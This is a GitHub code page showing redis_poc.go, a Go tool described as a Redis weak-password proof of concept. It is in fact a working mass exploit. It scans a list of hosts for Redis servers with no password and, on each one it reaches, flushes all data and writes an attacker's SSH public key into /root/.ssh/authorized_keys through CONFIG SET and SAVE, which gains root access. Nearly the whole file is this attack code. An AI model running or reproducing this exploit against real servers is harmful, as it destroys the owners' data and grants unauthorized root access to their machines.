-
Notifications
You must be signed in to change notification settings - Fork 50
/
Copy pathredis_poc.go
140 lines (115 loc) · 2.91 KB
/
redis_poc.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
package main
import (
"bufio"
"bytes"
"fmt"
"gopkg.in/redis.v3"
"log"
"os"
"runtime"
"strings"
"time"
)
const rsa_key = "\n\ncat ~/.ssh/id_rsa.pub的内容,自己用ssh-keygen -t rsa生成下即可\n\n"
// HostInfo struct
type HostInfo struct {
host string
port string
reply string
is_vul bool
}
// help function
func Usage(cmd string) {
fmt.Println(strings.Repeat("-", 50))
fmt.Println("Redis weak password poc by netxfly<[email protected]>")
fmt.Println("Usage:")
fmt.Printf("%s iplist \n", cmd)
fmt.Println(strings.Repeat("-", 50))
}
// main function
func main() {
runtime.GOMAXPROCS(runtime.NumCPU())
if len(os.Args) != 2 {
Usage(os.Args[0])
} else {
Usage(os.Args[0])
iplist := os.Args[1]
Scan(Prepare(iplist))
}
}
// read line from file and Scan
func Prepare(iplist string) (slice_iplist []string) {
iplistFile, _ := os.Open(iplist)
defer iplistFile.Close()
scanner := bufio.NewScanner(iplistFile)
scanner.Split(bufio.ScanLines)
for scanner.Scan() {
slice_iplist = append(slice_iplist, scanner.Text())
}
return slice_iplist
}
//Test connect function
func TestConnect(host_info HostInfo, chan_result chan HostInfo) {
host := host_info.host
port := host_info.port
reply := host_info.reply
is_vul := false
var buf bytes.Buffer
logger := log.New(&buf, "logger: ", log.Ldate)
client := redis.NewClient(&redis.Options{
Addr: host + ":" + port,
Password: "", // no password set
DB: 0, // use default DB
})
_, err := client.Ping().Result()
if err == nil {
is_vul = true
logger.Println(client.ConfigSet("dbfilename", "xsec.rdb").String())
logger.Println(client.Save().String())
logger.Println(client.FlushAll().String())
client.Set("xsec", rsa_key, 0)
logger.Println(client.ConfigSet("dir", "/root/.ssh/").String())
logger.Println(client.ConfigGet("dir").String())
reply = client.ConfigSet("dbfilename", "authorized_keys").String()
logger.Println(reply)
logger.Println(client.Save().String())
fmt.Println(&buf)
}
host_info.is_vul = is_vul
host_info.reply = reply
chan_result <- host_info
}
// Scan function
func Scan(slice_iplist []string) {
n := len(slice_iplist)
chan_scan_result := make(chan HostInfo, n)
done := make(chan bool, n)
for _, host_port := range slice_iplist {
// fmt.Printf("Try to connect %s\n", host_port)
t := strings.Split(host_port, ":")
host := t[0]
port := t[1]
host_info := HostInfo{host, port, "", false}
go TestConnect(host_info, chan_scan_result)
for runtime.NumGoroutine() > runtime.NumCPU()*200 {
time.Sleep(10 * time.Microsecond)
}
}
go func() {
for i := 0; i < cap(chan_scan_result); i++ {
select {
case r := <-chan_scan_result:
if r.is_vul {
fmt.Printf("%s:%s is vulnerability, get root's reply: %s\n", r.host, r.port, r.reply)
}
case <-time.After(60 * time.Second):
fmt.Println("timeout")
break
}
done <- true
}
}()
for i := 0; i < cap(done); i++ {
<-done
}
}